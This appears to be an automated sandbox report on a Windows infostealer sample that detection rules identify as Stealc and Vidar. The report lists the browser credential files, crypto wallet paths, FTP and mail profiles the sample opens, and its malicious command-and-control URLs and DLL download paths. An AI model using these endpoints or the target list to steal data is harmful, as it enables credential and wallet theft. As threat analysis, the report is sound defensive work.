0_2_01008100

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C68B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C68B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C68B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01009600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_01009600

Source: file.exe, file.exe, 00000000.00000002.2267707228.00000000013E8000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: [dProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C68B341 cpuid

0_2_6C68B341

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_01007B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01006920 GetSystemTime,sscanf,SystemTimeToFileTime,SystemTimeToFileTime,ExitProcess,

0_2_01006920

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01007850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_01007850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_01007A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_01007A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2040507876.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.jsono
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.ff0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2267162346.0000000000FF1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2040507876.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6464, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	53%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	URL Reputation	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php;.	file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	DGCBKECAKFBGCAKECGIE.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php~	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	file.exe, 00000000.00000002.2290978407.0000000029512000.00000004.00000020.00020000.00000000.sdmp, DGCBKECAKFBGCAKECGIE.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2131608830.0000000000906000.00000004.00000020.00020000.00000000.sdmp, JJKJDAEB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2266687374.000000000085E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpC:	file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.1I	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllEGHJKECAAKJKEGIIE.	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlls)	file.exe, 00000000.00000002.2266687374.00000000008B7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2267162346.00000000011BB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpn	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpm	file.exe, 00000000.00000002.2266687374.00000000008D1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpS_	file.exe, 00000000.00000002.2266687374.0000000000850000.00000004.00000020.00020000.00000000.sdmp	true		unknown
